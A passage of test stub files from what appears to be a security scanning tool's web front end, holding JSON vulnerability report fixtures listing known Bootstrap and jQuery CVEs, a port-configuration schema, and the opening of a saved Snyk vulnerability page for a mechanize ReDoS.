scanned\": 1,\n    \"Terms in report\": \"CVE-2016-10735, CVE-2018-14040, CVE-2018-14041, CVE-2018-14042, CVE-2019-8331, DNS, Other, RetireJS-jquerymigrate-f3a3, RetireJS-jquerymigrate-f901, Web\",\n    \"Critical vulnerabilities\": 0\n  },\n  \"config_oois\": [],\n  \"ipv6\": {\n    \"mispo.es\": {\n      \"systems\": [\n        \"DNS\",\n        \"Other\",\n        \"Web\"\n      ],\n      \"enabled\": false\n    }\n  },\n  \"total_systems_basic_security\": 0,\n  \"total_hostnames\": 1,\n  \"health\": [\n    {\n      \"service\": \"rocky\",\n      \"healthy\": true,\n      \"version\": \"0.0.1.dev1\",\n      \"additional\": \"None\",\n      \"results\": []\n    },\n    {\n      \"service\": \"octopoes\",\n      \"healthy\": true,\n      \"version\": \"0.0.1.dev1\",\n      \"additional\": \"None\",\n      \"results\": []\n    },\n    {\n      \"service\": \"xtdb\",\n      \"healthy\": true,\n      \"version\": \"1.24.4\",\n      \"additional\": {\n        \"kvStore\": \"xtdb.rocksdb.RocksKv\",\n        \"revision\": \"b46e92df67699cb25f3b21a61742c79da564b3b0\",\n        \"consumerState\": \"None\",\n        \"size\": 46908877,\n        \"estimateNumKeys\": 105039,\n        \"version\": \"1.24.4\",\n        \"indexVersion\": 22\n      },\n      \"results\": []\n    },\n    {\n      \"service\": \"katalogus\",\n      \"healthy\": true,\n      \"version\": \"0.0.1-development\",\n      \"additional\": \"None\",\n      \"results\": []\n    },\n    {\n      \"service\": \"scheduler\",\n      \"healthy\": true,\n      \"version\": \"0.0.1.dev1\",\n      \"additional\": \"None\",\n      \"results\": []\n    },\n    {\n      \"service\": \"bytes\",\n      \"healthy\": true,\n      \"version\": \"0.0.1.dev1\",\n      \"additional\": \"None\",\n      \"results\": []\n    }\n  ],\n  \"total_systems\": 1,\n  \"total_findings\": 7,\n  \"recommendations\": [\n    \"Replace the certificate with a valid one.\",\n    \"Make sure there is a security.txt available.\",\n    \"Determine if this port should be reachable from the identified location. Limit access to reduce the attack surface if necessary. \",\n    \"Enable DNSSEC on your name servers.\",\n    \"Determine if this port should be reachable from the identified location. Limit access to reduce the attack surface if necessary.\"\n  ],\n  \"vulnerabilities\": {\n    \"IPAddressV4|internet|1.1.1.1\": {\n      \"hostnames\": \"(mispo.es)\",\n      \"title\": \"1.1.1.1\",\n      \"summary\": {\n        \"total_criticals\": 0,\n        \"terms\": [\n          \"CVE-2016-10735\",\n          \"CVE-2018-14040\",\n          \"CVE-2018-14041\",\n          \"CVE-2018-14042\",\n          \"CVE-2019-8331\",\n          \"RetireJS-jquerymigrate-f3a3\",\n          \"RetireJS-jquerymigrate-f901\"\n        ],\n        \"total_findings\": 7,\n        \"recommendations\": []\n      },\n      \"vulnerabilities\": {\n        \"RetireJS-jquerymigrate-f3a3\": {\n          \"cvss\": {\n            \"risk_level\": \"Medium 6.9\",\n            \"class\": \"medium\",\n            \"score\": 6.9\n          },\n          \"description\": \"cross-site-scripting. More information at: http://blog.jquery.com/2013/05/01/jquery-migrate-1-2-0-released/ or https://github.com/jquery/jquery-migrate/issues/36\",\n          \"findings\": {\n            \"RetireJS-jquerymigrate-f3a3 @ jQuery Migrate 1.0.0 @ https://mispo.es:443/\": {\n              \"Evidence\": \"342902ce-1bf5-4ec5-b50a-5895d8a1d55c\",\n              \"Last seen\": \"-\",\n              \"First seen\": \"2024-10-17 13:27:19+00:00\",\n              \"Source\": \"kat_wappalyzer_normalize\"\n            }\n          },\n          \"occurrences\": 1,\n          \"advice\": \"-\"\n        },\n        \"CVE-2018-14042\": {\n          \"cvss\": {\n            \"risk_level\": \"Medium 6.1\",\n            \"class\": \"medium\",\n            \"score\": 6.1\n          },\n          \"description\": \"In Bootstrap before 4.1.2, XSS is possible in the data-container property of tooltip.\",\n          \"findings\": {\n            \"CVE-2018-14042 @ Bootstrap 3.3.7 @ https://mispo.es:443/\": {\n              \"Evidence\": \"342902ce-1bf5-4ec5-b50a-5895d8a1d55c\",\n              \"Last seen\": \"-\",\n              \"First seen\": \"2024-10-17 13:27:19+00:00\",\n              \"Source\": \"kat_wappalyzer_normalize\"\n            }\n          },\n          \"occurrences\": 1,\n          \"advice\": \"-\"\n        },\n        \"CVE-2018-14041\": {\n          \"cvss\": {\n            \"risk_level\": \"Medium 6.1\",\n            \"class\": \"medium\",\n            \"score\": 6.1\n          },\n          \"description\": \"In Bootstrap before 4.1.2, XSS is possible in the data-target property of scrollspy.\",\n          \"findings\": {\n            \"CVE-2018-14041 @ Bootstrap 3.3.7 @ https://mispo.es:443/\": {\n              \"Evidence\": \"342902ce-1bf5-4ec5-b50a-5895d8a1d55c\",\n              \"Last seen\": \"-\",\n              \"First seen\": \"2024-10-17 13:27:19+00:00\",\n              \"Source\": \"kat_wappalyzer_normalize\"\n            }\n          },\n          \"occurrences\": 1,\n          \"advice\": \"-\"\n        },\n        \"CVE-2018-14040\": {\n          \"cvss\": {\n            \"risk_level\": \"Medium 6.1\",\n            \"class\": \"medium\",\n            \"score\": 6.1\n          },\n          \"description\": \"In Bootstrap before 4.1.2, XSS is possible in the collapse data-parent attribute.\",\n          \"findings\": {\n            \"CVE-2018-14040 @ Bootstrap 3.3.7 @ https://mispo.es:443/\": {\n              \"Evidence\": \"342902ce-1bf5-4ec5-b50a-5895d8a1d55c\",\n              \"Last seen\": \"-\",\n              \"First seen\": \"2024-10-17 13:27:19+00:00\",\n              \"Source\": \"kat_wappalyzer_normalize\"\n            }\n          },\n          \"occurrences\": 1,\n          \"advice\": \"-\"\n        },\n        \"RetireJS-jquerymigrate-f901\": {\n          \"cvss\": {\n            \"risk_level\": \"Medium 6.9\",\n            \"class\": \"medium\",\n            \"score\": 6.9\n          },\n          \"description\": \"Selector interpreted as HTML. More information at: http://bugs.jquery.com/ticket/11290 or http://research.insecurelabs.org/jquery/test/\",\n          \"findings\": {\n            \"RetireJS-jquerymigrate-f901 @ jQuery Migrate 1.0.0 @ https://mispo.es:443/\": {\n              \"Evidence\": \"342902ce-1bf5-4ec5-b50a-5895d8a1d55c\",\n              \"Last seen\": \"-\",\n              \"First seen\": \"2024-10-17 13:27:19+00:00\",\n              \"Sourc2024-10-17T14:11:10.429803596Z e\": \"kat_wappalyzer_normalize\"\n            }\n          },\n          \"occurrences\": 1,\n          \"advice\": \"-\"\n        },\n        \"CVE-2016-10735\": {\n          \"cvss\": {\n            \"risk_level\": \"Medium 6.1\",\n            \"class\": \"medium\",\n            \"score\": 6.1\n          },\n          \"description\": \"In Bootstrap 3.x before 3.4.0 and 4.x-beta before 4.0.0-beta.2, XSS is possible in the data-target attribute, a different vulnerability than CVE-2018-14041.\",\n          \"findings\": {\n            \"CVE-2016-10735 @ Bootstrap 3.3.7 @ https://mispo.es:443/\": {\n              \"Evidence\": \"342902ce-1bf5-4ec5-b50a-5895d8a1d55c\",\n              \"Last seen\": \"-\",\n              \"First seen\": \"2024-10-17 13:27:19+00:00\",\n              \"Source\": \"kat_wappalyzer_normalize\"\n            }\n          },\n          \"occurrences\": 1,\n          \"advice\": \"-\"\n        },\n        \"CVE-2019-8331\": {\n          \"cvss\": {\n            \"risk_level\": \"Medium 6.1\",\n            \"class\": \"medium\",\n            \"score\": 6.1\n          },\n          \"description\": \"In Bootstrap before 3.4.1 and 4.3.x before 4.3.1, XSS is possible in the tooltip or popover data-template attribute.\",\n          \"findings\": {\n            \"CVE-2019-8331 @ Bootstrap 3.3.7 @ https://mispo.es:443/\": {\n              \"Evidence\": \"342902ce-1bf5-4ec5-b50a-5895d8a1d55c\",\n              \"Last seen\": \"-\",\n              \"First seen\": \"2024-10-17 13:27:19+00:00\",\n              \"Source\": \"kat_wappalyzer_normalize\"\n            }\n          },\n          \"occurrences\": 1,\n          \"advice\": \"-\"\n        }\n      }\n    }\n  },\n  \"services\": {\n    \"DNS\": {\n      \"IPAddressV4|internet|1.1.1.1\": {\n        \"hostnames\": [\n          \"Hostname|internet|mispo.es\"\n        ],\n        \"services\": [\n          \"DNS\",\n          \"Other\",\n          \"Web\"\n        ]\n      }\n    },\n    \"Web\": {\n      \"IPAddressV4|internet|1.1.1.1\": {\n        \"hostnames\": [\n          \"Hostname|internet|mispo.es\"\n        ],\n        \"services\": [\n          \"DNS\",\n          \"Other\",\n          \"Web\"\n        ]\n      }\n    },\n    \"Other\": {\n      \"IPAddressV4|internet|1.1.1.1\": {\n        \"hostnames\": [\n          \"Hostname|internet|mispo.es\"\n        ],\n        \"services\": [\n          \"DNS\",\n          \"Other\",\n          \"Web\"\n        ]\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "rocky/tests/stubs/multi_report_post_processed_data.json",
    "content": "{\n  \"organizations\": [\n    \"org_b\",\n    \"test\"\n  ],\n  \"tags\": {},\n  \"basic_security_score\": 71,\n  \"total_critical_vulnerabilities\": 0,\n  \"total_findings\": 7,\n  \"total_systems\": 3,\n  \"total_hostnames\": 2,\n  \"service_counts\": {\n    \"DNS\": 1,\n    \"Web\": 2,\n    \"Other\": 1\n  },\n  \"asset_vulnerabilities\": [\n    {\n      \"asset\": \"IPAddressV4|internet|1.1.1.1\",\n      \"vulnerabilities\": {\n        \"RetireJS-jquerymigrate-f3a3\": 6.9,\n        \"CVE-2018-14042\": 6.1,\n        \"CVE-2018-14041\": 6.1,\n        \"CVE-2018-14040\": 6.1,\n        \"RetireJS-jquerymigrate-f901\": 6.9,\n        \"CVE-2016-10735\": 6.1,\n        \"CVE-2019-8331\": 6.1\n      },\n      \"organisation\": \"org_b\",\n      \"services\": [\n        \"DNS\",\n        \"Other\",\n        \"Web\"\n      ]\n    },\n    {\n      \"asset\": \"IPAddressV4|internet|1.1.1.1\",\n      \"vulnerabilities\": {},\n      \"organisation\": \"test\",\n      \"services\": [\n        \"Web\"\n      ]\n    },\n    {\n      \"asset\": \"IPAddressV6|internet|2001:4860:4860::8888\",\n      \"vulnerabilities\": {},\n      \"organisation\": \"test\",\n      \"services\": []\n    }\n  ],\n  \"system_vulnerabilities\": {\n    \"RetireJS-jquerymigrate-f3a3\": {\n      \"cvss\": 6.9,\n      \"DNS\": 1,\n      \"Other\": 1,\n      \"Web\": 1\n    },\n    \"RetireJS-jquerymigrate-f901\": {\n      \"cvss\": 6.9,\n      \"DNS\": 1,\n      \"Other\": 1,\n      \"Web\": 1\n    },\n    \"CVE-2018-14042\": {\n      \"cvss\": 6.1,\n      \"DNS\": 1,\n      \"Other\": 1,\n      \"Web\": 1\n    },\n    \"CVE-2018-14041\": {\n      \"cvss\": 6.1,\n      \"DNS\": 1,\n      \"Other\": 1,\n      \"Web\": 1\n    },\n    \"CVE-2018-14040\": {\n      \"cvss\": 6.1,\n      \"DNS\": 1,\n      \"Other\": 1,\n      \"Web\": 1\n    },\n    \"CVE-2016-10735\": {\n      \"cvss\": 6.1,\n      \"DNS\": 1,\n      \"Other\": 1,\n      \"Web\": 1\n    },\n    \"CVE-2019-8331\": {\n      \"cvss\": 6.1,\n      \"DNS\": 1,\n      \"Other\": 1,\n      \"Web\": 1\n    }\n  },\n  \"system_vulnerability_totals\": {\n    \"DNS\": 7,\n    \"Other\": 7,\n    \"Web\": 7\n  },\n  \"open_ports\": {\n    \"total\": 3,\n    \"ports\": {\n      \"3306\": {\n        \"open\": 1,\n        \"services\": [\n          \"mysql\"\n        ]\n      },\n      \"53\": {\n        \"open\": 1,\n        \"services\": [\n          \"domain\"\n        ]\n      },\n      \"443\": {\n        \"open\": 2,\n        \"services\": [\n          \"https\"\n        ]\n      },\n      \"22\": {\n        \"open\": 1,\n        \"services\": [\n          \"ssh\"\n        ]\n      },\n      \"80\": {\n        \"open\": 2,\n        \"services\": [\n          \"http\"\n        ]\n      }\n    }\n  },\n  \"basic_security\": {\n    \"summary\": {\n      \"DNS\": {\n        \"rpki\": {\n          \"number_of_compliant\": 1,\n          \"total\": 1\n        },\n        \"system_specific\": {\n          \"number_of_compliant\": 0,\n          \"total\": 1\n        },\n        \"safe_connections\": {\n          \"number_of_compliant\": 1,\n          \"total\": 1\n        }\n      },\n      \"Web\": {\n        \"rpki\": {\n          \"number_of_compliant\": 2,\n          \"total\": 2\n        },\n        \"system_specific\": {\n          \"number_of_compliant\": 1,\n          \"total\": 2\n        },\n        \"safe_connections\": {\n          \"number_of_compliant\": 1,\n          \"total\": 2\n        }\n      },\n      \"Other\": {\n        \"rpki\": {\n          \"number_of_compliant\": 1,\n          \"total\": 1\n        },\n        \"system_specific\": {\n          \"number_of_compliant\": 0,\n          \"total\": 0\n        },\n        \"safe_connections\": {\n          \"number_of_compliant\": 1,\n          \"total\": 1\n        }\n      }\n    },\n    \"safe_connections\": {\n      \"number_of_available\": 3,\n      \"number_of_ips\": 4\n    },\n    \"system_specific\": {\n      \"DNS\": {\n        \"checks\": {\n          \"DNSSEC Present\": 0,\n          \"Valid DNSSEC\": 0,\n          \"No unnecessary ports open\": 0\n        },\n        \"total\": 1\n      },\n      \"Web\": {\n        \"checks\": {\n          \"Certificate is not expired\": 1,\n          \"CSP Present\": 2,\n          \"Offers HTTPS\": 2,\n          \"No unnecessary ports open\": 1,\n          \"Has a Security.txt\": 1,\n          \"Has a certificate\": 2,\n          \"Redirects HTTP to HTTPS\": 2,\n          \"Secure CSP Header\": 2,\n          \"Certificate is not expiring soon\": 2\n        },\n        \"total\": 2\n      },\n      \"Other\": {\n        \"checks\": {},\n        \"total\": 0\n      }\n    },\n    \"rpki\": {\n      \"DNS\": {\n        \"number_of_available\": 1,\n        \"number_of_ips\": 1,\n        \"number_of_valid\": 1,\n        \"rpki_ips\": true\n      },\n      \"Web\": {\n        \"number_of_available\": 3,\n        \"number_of_ips\": 3,\n        \"number_of_valid\": 3,\n        \"rpki_ips\": true\n      },\n      \"Other\": {\n        \"number_of_available\": 1,\n        \"number_of_ips\": 1,\n        \"number_of_valid\": 1,\n        \"rpki_ips\": true\n      }\n    }\n  },\n  \"services\": {\n    \"DNS\": [\n      \"IPAddressV4|internet|1.1.1.1\"\n    ],\n    \"Web\": [\n      \"IPAddressV4|internet|1.1.1.1\",\n      \"IPAddressV4|internet|1.1.1.1\"\n    ],\n    \"Other\": [\n      \"IPAddressV4|internet|1.1.1.1\"\n    ]\n  },\n  \"recommendation_counts\": {\n    \"Determine if this port should be reachable from the identified location. Limit access to reduce the attack surface if necessary. \": 1,\n    \"Determine if this port should be reachable from the identified location. Limit access to reduce the attack surface if necessary.\": 1,\n    \"Replace the certificate with a valid one.\": 1,\n    \"Enable DNSSEC on your name servers.\": 1,\n    \"Make sure there is a security.txt available.\": 2,\n    \"It is recommended to only use ciphers labelled as 'good'. Check https://cipherlist.eu/ for safe ciphers.\": 1\n  },\n  \"best_scoring\": \"CSP Present\",\n  \"worst_scoring\": \"DNSSEC Present\",\n  \"ipv6\": {\n    \"DNS\": {\n      \"total\": 1,\n      \"enabled\": 0\n    },\n    \"Other\": {\n      \"total\": 1,\n      \"enabled\": 0\n    },\n    \"Web\": {\n      \"total\": 2,\n      \"enabled\": 1\n    }\n  },\n  \"input_data\": {\n    \"input_oois\": [\n      \"ReportData|test\",\n      \"ReportData|org_b\"\n    ],\n    \"report_types\": [\n      \"multi-organization-report\"\n    ],\n    \"plugins\": {\n      \"required\": [],\n      \"optional\": []\n    }\n  }\n}\n"
  },
  {
    "path": "rocky/tests/stubs/question_schema.json",
    "content": "{\n  \"$schema\": \"https://json-schema.org/draft/2019-09/schema\",\n  \"$id\": \"/bit/port-classification-ip\",\n  \"type\": \"object\",\n  \"default\": {},\n  \"Port Configuration\": \"Root Schema\",\n  \"required\": [],\n  \"properties\": {\n    \"common_udp_ports\": {\n      \"title\": \"Comma separated list of allowed UDP ports\",\n      \"type\": \"string\",\n      \"pattern\": \"^(\\\\s*(,*)[0-9]+,?\\\\s*)*$\",\n      \"default\": \"53\"\n    },\n    \"common_tcp_ports\": {\n      \"title\": \"Comma separated list of allowed TCP ports\",\n      \"type\": \"string\",\n      \"pattern\": \"^(\\\\s*(,*)[0-9]+,?\\\\s*)*$\",\n      \"default\": \"25,53,80,110,143,443,465,587,993,995\"\n    },\n    \"sa_tcp_ports\": {\n      \"title\": \"Comma separated list of allowed UDP ports\",\n      \"type\": \"string\",\n      \"pattern\": \"^(\\\\s*(,*)[0-9]+,?\\\\s*)*$\",\n      \"default\": \"21,22,23,3389,5900\"\n    },\n    \"db_tcp_ports\": {\n      \"title\": \"Comma separated list of allowed TCP ports\",\n      \"type\": \"string\",\n      \"pattern\": \"^(\\\\s*(,*)[0-9]+,?\\\\s*)*$\",\n      \"default\": \"1433,1434,3050,3306,5432\"\n    }\n  }\n}\n"
  },
  {
    "path": "rocky/tests/stubs/snyk_response.html",
    "content": "<!doctype html>\n<html data-n-head-ssr lang=\"en\" data-n-head=\"%7B%22lang%22:%7B%22ssr%22:%22en%22%7D%7D\">\n  <head >\n    <title>Regular Expression Denial of Service (ReDoS) in mechanize | CVE-2021-32837 | Snyk</title><meta data-n-head=\"ssr\" charset=\"utf-8\"><meta data-n-head=\"ssr\" name=\"viewport\" content=\"width=device-width, initial-scale=1\"><meta data-n-head=\"ssr\" http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\"><meta data-n-head=\"ssr\" http-equiv=\"x-ua-compatible\" content=\"ie=edge\"><meta data-n-head=\"ssr\" data-hid=\"og:title\" property=\"og:title\" content=\"Snyk Vulnerability Database | Snyk\"><meta data-n-head=\"ssr\" property=\"og:locale\" content=\"en_US\"><meta data-n-head=\"ssr\" property=\"og:type\" content=\"website\"><meta data-n-head=\"ssr\" property=\"og:url\" content=\"https://security.snyk.io/\"><meta data-n-head=\"ssr\" property=\"og:image\" content=\"https://res.cloudinary.com/snyk/image/upload/v1468845142/logo/snyk-avatar.png\"><meta data-n-head=\"ssr\" property=\"og:image:width\" content=\"600\"><meta data-n-head=\"ssr\" property=\"og:image:height\" content=\"600\"><meta data-n-head=\"ssr\" property=\"og:image:alt\" content=\"Snyk Vulnerability Database\"><meta data-n-head=\"ssr\" property=\"og:image:type\" content=\"image/png\"><meta data-n-head=\"ssr\" name=\"twitter:card\" content=\"summary_large_image\"><meta data-n-head=\"ssr\" name=\"twitter:site\" content=\"@snyksec\"><meta data-n-head=\"ssr\" name=\"twitter:creator\" content=\"@snyksec\"><meta data-n-head=\"ssr\" name=\"version\" content=\"fc51be54748962614b876fbf1410fee65a6a9e84\"><meta data-n-head=\"ssr\" data-hid=\"description\" name=\"description\" content=\"High severity (7.5) Regular Expression Denial of Service (ReDoS) in mechanize | CVE-2021-32837\"><meta data-n-head=\"ssr\" data-hid=\"og:url\" property=\"og:url\" content=\"https://security.snyk.io/vuln/SNYK-PYTHON-MECHANIZE-3232926\"><meta data-n-head=\"ssr\" data-hid=\"og:site_name\" property=\"og:site_name\" content=\"Learn more about pip with Snyk Open Source Vulnerability Database\"><meta data-n-head=\"ssr\" data-hid=\"og:description\" property=\"og:description\" content=\"High severity (7.5) Regular Expression Denial of Service (ReDoS) in mechanize | CVE-2021-32837\"><meta data-n-head=\"ssr\" data-hid=\"twitter:title\" name=\"twitter:title\" content=\"Regular Expression Denial of Service (ReDoS) in mechanize | CVE-2021-32837 | Snyk\"><meta data-n-head=\"ssr\" data-hid=\"twitter:description\" name=\"twitter:description\" content=\"High severity (7.5) Regular Expression Denial of Service (ReDoS) in mechanize | CVE-2021-32837\"><base href=\"/\"><link data-n-head=\"ssr\" rel=\"icon\" sizes=\"192x192\" href=\"https://snyk.io/favicon.png\"><link data-n-head=\"ssr\" rel=\"shortcut icon\" href=\"https://snyk.io/favicon.ico\" type=\"image/x-icon\"><link data-n-head=\"ssr\" rel=\"apple-touch-icon\" href=\"https://snyk.io/favicon.ico\" type=\"image/x-icon\"><link data-n-head=\"ssr\" rel=\"stylesheet\" href=\"https://fonts.googleapis.com/css2?family=Poppins:wght@400;600&amp;display=swap\"><link data-n-head=\"ssr\" rel=\"canonical\" href=\"https://security.snyk.io/vuln/SNYK-PYTHON-MECHANIZE-3232926\"><script data-n-head=\"ssr\" data-hid=\"json_ld_breadcrumb\" type=\"application/ld+json\">{\"@context\":\"http://schema.org\",\"@type\":\"BreadcrumbList\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"item\":{\"name\":\"Snyk Vulnerability Database\",\"@id\":\"https://security.snyk.io/vuln\"}},{\"@type\":\"ListItem\",\"position\":2,\"item\":{\"name\":\"pip\",\"@id\":\"https://security.snyk.io/vuln/pip\"}},{\"@type\":\"ListItem\",\"position\":3,\"item\":{\"name\":\"mechanize\"}}]}</script><script data-n-head=\"ssr\" data-hid=\"json_ld_faq\" type=\"application/ld+json\">{\"@context\":\"https://schema.org\",\"@graph\":[{\"@type\":\"FAQPage\",\"inLanguage\":\"en-US\",\"mainEntity\":[{\"@type\":\"Question\",\"name\":\"How to fix?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"&lt;p&gt;Upgrade &lt;code&gt;mechanize&lt;/code&gt; to version 0.4.6 or higher.&lt;/p&gt;\\n\"}}]}]}</script><link rel=\"preload\" href=\"/_nuxt/a0735f1.js\" as=\"script\"><link rel=\"preload\" href=\"/_nuxt/07cd2f9.js\" as=\"script\"><link rel=\"preload\" href=\"/_nuxt/51e20c8.js\" as=\"script\"><link rel=\"preload\" href=\"/_nuxt/17c1ca4.js\" as=\"script\"><link rel=\"preload\" href=\"/_nuxt/7c72b1b.js\" as=\"script\"><link rel=\"preload\" href=\"/_nuxt/937ddd3.js\" as=\"script\"><link rel=\"preload\" href=\"/_nuxt/7671ce6.js\" as=\"script\"><link rel=\"preload\" href=\"/_nuxt/975fd5f.js\" as=\"script\"><link rel=\"preload\" href=\"/_nuxt/80148cb.js\" as=\"script\"><link rel=\"preload\" href=\"/_nuxt/c1edf8a.js\" as=\"script\"><style data-vue-ssr-id=\"79562cab:0 bc9488b0:0 6c1715b0:0 498f9bee:0 d0bd84d6:0 338b4d83:0 5a592308:0 0377c397:0 ff1e38b6:0 18aa2384:0 7a942c2a:0 8773814e:0 a8ef8092:0 b201d506:0 2c11fed0:0 1cb1ed1c:0 4121b4f9:0 df68bb3a:0 49555e5f:0 2afa21a2:0 0ed2cbc2:0 1d0c703e:0 3a5539dc:0 cb360912:0 5cd6f5ac:0 29f96e92:0 4715a6fc:0 241f0a14:0 0c720733:0 55c3b144:0 b0aa9140:0 42e8f28e:0 23f9a731:0 325e47a8:0 5b0cc504:0 205026a2:0 648901ea:0\">a,abbr,area,article,aside,audio,b,bdo,blockquote,body,button,canvas,caption,cite,code,col,colgroup,datalist,dd,del,details,dfn,dialog,div,dl,dt,em,embed,fieldset,figure,form,h1,h2,h3,h4,h5,h6,head,header,hgroup,hr,html,i,iframe,img,input,ins,kbd,keygen,label,legend,li,map,mark,menu,meter,nav,noscript,object,ol,optgroup,option,output,p,param,pre,progress,q,rp,rt,ruby,samp,section,select,small,span,strong,sub,sup,table,tbody,td,textarea,tfoot,th,thead,time,tr,ul,var,video{background:transparent;border:0;font:inherit;font-size:100%;margin:0;outline:none;padding:0;text-align:inherit;text-decoration:none;vertical-align:baseline;z-index:auto}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:\"\";content:none}table{border-collapse:collapse;border-spacing:0}abbr,abbr[title]{text-decoration:none}@font-face{font-display:fallback;font-family:\"roboto\";src:url(https://static.snyk.io/prod/static-assets/style/build/fonts/roboto-regular.woff2) format(\"woff2\"),url(https://static.snyk.io/prod/static-assets/style/build/fonts/roboto-regular.woff) format(\"woff\");font-style:normal;font-weight:400}@font-face{font-display:optional;font-family:\"roboto\";src:url(https://static.snyk.io/prod/static-assets/style/build/fonts/roboto-italic.woff2) format(\"woff2\"),url(https://static.snyk.io/prod/static-assets/style/build/fonts/roboto-italic.woff) format(\"woff\");font-style:italic;font-weight:400}@font-face{font-display:fallback;font-family:\"roboto\";src:url(https://static.snyk.io/prod/static-assets/style/build/fonts/roboto-medium.woff2) format(\"woff2\"),url(https://static.snyk.io/prod/static-assets/style/build/fonts/roboto-medium.woff) format(\"woff\");font-style:normal;font-weight:500}@font-face{font-display:optional;font-family:\"roboto\";src:url(https://static.snyk.io/prod/static-assets/style/build/fonts/roboto-medium-italic.woff2) format(\"woff2\"),url(https://static.snyk.io/prod/static-assets/style/build/fonts/roboto-medium-italic.woff) format(\"woff\");font-style:italic;font-weight:500}@font-face{font-display:fallback;font-family:\"roboto\";src:url(https://static.snyk.io/prod/static-assets/style/build/fonts/roboto-bold.woff2) format(\"woff2\"),url(https://static.snyk.io/prod/static-assets/style/build/fonts/roboto-bold.woff) format(\"woff\");font-style:normal;font-weight:700}.highlight{background-color:#99e4ff}.dimmed{color:#727184}.critical-severity{color:#ad1a1a}.high-severity{color:#cc4f19}.medium-severity{color:#d68100}.low-severity{color:#86859d}*{box-sizing:border-box}svg:not(:root){display:inline-block;fill:currentColor;overflow:hidden;vertical-align:middle}.margin--xxxl{margin:85.3333333333px}.margin-top--xxxl{margin-top:85.3333333333px}.margin-right--xxxl{margin-right:85.3333333333px}.margin-bottom--xxxl{margin-bottom:85.3333333333px}.margin-left--xxxl{margin-left:85.3333333333px}@media only screen and (min-width:40em){.margin--xxxl{margin:128px}.margin-top--xxxl{margin-top:128px}.margin-right--xxxl{margin-right:128px}.margin-bottom--xxxl{margin-bottom:128px}.margin-left--xxxl{margin-left:128px}}.margin--xxl{margin:42.6666666667px}.margin-top--xxl{margin-top:42.6666666667px}.margin-right--xxl{margin-right:42.6666666667px}.margin-bottom--xxl{margin-bottom:42.6666666667px}.margin-left--xxl{margin-left:42.6666666667px}@media only screen and (min-width:40em){.margin--xxl{margin:64px}.margin-top--xxl{margin-top:64px}.margin-right--xxl{margin-right:64px}.margin-bottom--xxl{margin-bottom:64px}.margin-left--xxl{margin-left:64px}}.margin--xl{margin:32px}.margin-top--xl{margin-top:32px}.margin-right--xl{margin-right:32px}.margin-bottom--xl{margin-bottom:32px}.margin-left--xl{margin-left:32px}@media only screen and (min-width:40em){.margin--xl{margin:48px}.margin-top--xl{margin-top:48px}.margin-right--xl{margin-right:48px}.margin-bottom--xl{margin-bottom:48px}.margin-left--xl{margin-left:48px}}.margin--l{margin:21.3333333333px}.margin-top--l{margin-top:21.3333333333px}.margin-right--l{margin-right:21.3333333333px}.margin-bottom--l{margin-bottom:21.3333333333px}.margin-left--l{margin-left:21.3333333333px}@media only screen and (min-width:40em){.margin--l{margin:32px}.margin-top--l{margin-top:32px}.margin-right--l{margin-right:32px}.margin-bottom--l{margin-bottom:32px}.margin-left--l{margin-left:32px}}.margin--m{margin:16px}.margin-top--m{margin-top:16px}.margin-right--m{margin-right:16px}.margin-bottom--m{margin-bottom:16px}.margin-left--m{margin-left:16px}@media only screen and (min-width:40em){.margin--m{margin:24px}.margin-top--m{margin-top:24px}.margin-right--m{margin-right:24px}.margin-bottom--m{margin-bottom:24px}.margin-left--m{margin-left:24px}}.margin--default{margin:10.6666666667px}.margin-top--default{margin-top:10.6666666667px}.margin-right--default{margin-right:10.6666666667px}.margin-bottom--default{margin-bottom:10.6666666667px}.margin-left--default{margin-left:10.6666666667px}@media only screen and (min-width:40em){.margin--default{margin:16px}.margin-top--default{margin-top:16px}.margin-right--default{margin-right:16px}.margin-bottom--default{margin-bottom:16px}.margin-left--default{margin-left:16px}}.margin--s{margin:8px}.margin-top--s{margin-top:8px}.margin-right--s{margin-right:8px}.margin-bottom--s{margin-bottom:8px}.margin-left--s{margin-left:8px}@media only screen and (min-width:40em){.margin--s{margin:12px}.margin-top--s{margin-top:12px}.margin-right--s{margin-right:12px}.margin-bottom--s{margin-bottom:12px}.margin-left--s{margin-left:12px}}.margin--xs{margin:5.3333333333px}.margin-top--xs{margin-top:5.3333333333px}.margin-right--xs{margin-right:5.3333333333px}.margin-bottom--xs{margin-bottom:5.3333333333px}.margin-left--xs{margin-left:5.3333333333px}@media only screen and (min-width:40em){.margin--xs{margin:8px}.margin-top--xs{margin-top:8px}.margin-right--xs{margin-right:8px}.margin-bottom--xs{margin-bottom:8px}.margin-left--xs{margin-left:8px}}.margin--xxs{margin:2.6666666667px}.margin-top--xxs{margin-top:2.6666666667px}.margin-right--xxs{margin-right:2.6666666667px}.margin-bottom--xxs{margin-bottom:2.6666666667px}.margin-left--xxs{margin-left:2.6666666667px}@media only screen and (min-width:40em){.margin--xxs{margin:4px}.margin-top--xxs{margin-top:4px}.margin-right--xxs{margin-right:4px}.margin-bottom--xxs{margin-bottom:4px}.margin-left--xxs{margin-left:4px}}.margin--xxxs{margin:1.3333333333px}.margin-top--xxxs{margin-top:1.3333333333px}.margin-right--xxxs{margin-right:1.3333333333px}.margin-bottom--xxxs{margin-bottom:1.3333333333px}.margin-left--xxxs{margin-left:1.3333333333px}@media only screen and (min-width:40em){.margin--xxxs{margin:2px}.margin-top--xxxs{margin-top:2px}.margin-right--xxxs{margin-right:2px}.margin-bottom--xxxs{margin-bottom:2px}.margin-left--xxxs{margin-left:2px}}.scoped,body,button,html,input,textarea{font-family:roboto,\"Gill Sans\",\"Calibri\",sans-serif;font-style:normal;font-weight:400;color:inherit;line-height:1.4;font-feature-settings:\"pnum\"}html,input,textarea{color:#555463}h1,h2{font-family:roboto,\"Gill Sans\",\"Calibri\",sans-serif;font-style:normal;font-weight:400}h2{font-size:1.5rem}h3{font-size:1.25rem;line-height:1.8}h3,h4,h5,h6{font-family:roboto,\"Gill Sans\",\"Calibri\",sans-serif;font-style:normal;font-weight:500}h4,h5,h6{font-size:1rem}h1,h2,h3,h4,h5,h6{color:#1c1c21}a{cursor:pointer;text-decoration:none}a,a:hover{color:#4b45a1}a:hover{text-decoration:underline}p{margin:12px 